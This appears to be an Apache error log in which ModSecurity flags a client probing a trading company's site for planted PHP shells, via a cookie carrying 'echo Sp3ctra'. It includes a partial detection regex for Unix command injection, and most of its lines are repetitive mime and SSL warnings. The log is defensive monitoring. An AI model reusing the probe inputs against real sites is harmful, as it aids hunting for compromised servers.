[Fri Jul 17 09:20:34.659959 2026] [security2:error] [pid 2039911:tid 2039911] [client 185.242.3.234:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/rszxrpzb.php"] [unique_id "almmiZBVIrrUwtEhdafVhgAAAAU"], referer: www.google.com
[Fri Jul 17 09:20:34.825974 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:34.853731 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:58638] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:34.875193 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:34.986644 2026] [security2:error] [pid 2019501:tid 2019501] [client 185.242.3.234:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "weeratrading.com"] [uri "/wp-plain.php"] [unique_id "almmirEWOaI5pmYo9fnTOgAAAAA"], referer: www.google.com
[Fri Jul 17 09:20:34.986711 2026] [security2:error] [pid 2019501:tid 2019501] [client 185.242.3.234:0] ModSecurity: Rule 55dbd8776d00 [id "932150"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "464"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "weeratrading.com"] [uri "/wp-plain.php"] [unique_id "almmirEWOaI5pmYo9fnTOgAAAAA"], referer: www.google.com
[Fri Jul 17 09:20:34.989297 2026] [security2:error] [pid 2019501:tid 2019501] [client 185.242.3.234:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/wp-plain.php"] [unique_id "almmirEWOaI5pmYo9fnTOgAAAAA"], referer: www.google.com
[Fri Jul 17 09:20:34.992073 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 185.242.3.234:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 09:20:34.992585 2026] [security2:error] [pid 2019501:tid 2019501] [client 185.242.3.234:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/wp-plain.php"] [unique_id "almmirEWOaI5pmYo9fnTOgAAAAA"], referer: www.google.com
[Fri Jul 17 09:20:35.233951 2026] [security2:error] [pid 2018757:tid 2018757] [client 185.242.3.234:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "weeratrading.com"] [uri "/jcmhodqj.php"] [unique_id "almmi0kXT4NBqALj2laBYQAAABA"], referer: www.google.com
[Fri Jul 17 09:20:35.235015 2026] [security2:error] [pid 2018757:tid 2018757] [client 185.242.3.234:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/jcmhodqj.php"] [unique_id "almmi0kXT4NBqALj2laBYQAAABA"], referer: www.google.com
[Fri Jul 17 09:20:35.235586 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 185.242.3.234:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 09:20:35.237517 2026] [security2:error] [pid 2018757:tid 2018757] [client 185.242.3.234:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/jcmhodqj.php"] [unique_id "almmi0kXT4NBqALj2laBYQAAABA"], referer: www.google.com
[Fri Jul 17 09:20:35.849608 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:58734] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:36.228082 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:36.387037 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:36.588703 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:36.732865 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:58792] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:36.789707 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:36.914227 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:58808] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:36.992851 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.098530 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.098772 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.098811 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.098841 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.098869 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.098943 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099001 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099156 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099198 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099255 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099326 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099349 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099388 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099413 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099468 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099490 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099514 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099537 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099620 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099662 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099702 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099724 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099762 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099784 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099807 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099846 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099869 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099923 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.099979 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100089 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100158 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100183 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100206 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100333 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100404 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100427 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100451 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100475 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100513 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100536 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100556 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100596 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100645 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100684 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100754 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100839 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100862 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100901 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100954 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.100989 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101080 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101117 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101156 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101179 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101318 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101370 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101393 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101507 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101546 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101584 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101650 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101673 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101695 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101779 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101820 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101844 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101883 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101922 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101961 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.101984 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102025 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102085 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102150 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102188 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102228 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102265 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102331 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102355 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102393 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102417 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102440 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102582 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102617 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102656 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102709 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102746 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102769 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102808 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102832 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102857 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102888 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102927 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102950 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.102974 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.103120 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.103193 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.103270 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.142653 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.142758 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.142873 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.142974 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.143086 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.143218 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.143377 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.143460 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.143557 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.143634 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.143727 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.143792 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.143999 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.144093 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.144382 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.144503 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.144588 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.144654 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.144705 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.144776 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.144824 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.144923 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.144993 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145066 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145152 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145211 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145302 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145412 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145463 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145671 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145702 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145785 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145829 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145871 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.145942 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.146002 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.146063 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.146113 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.147127 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.147240 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.147322 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.147413 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.147509 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.147603 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.147674 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.147720 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.147770 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.147854 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.147925 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.148068 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.148142 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.148204 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.148271 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.148311 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.148396 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.148423 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.148505 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.148575 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.148617 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.148950 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149026 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149075 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149102 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149159 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149231 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149290 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149404 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149513 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
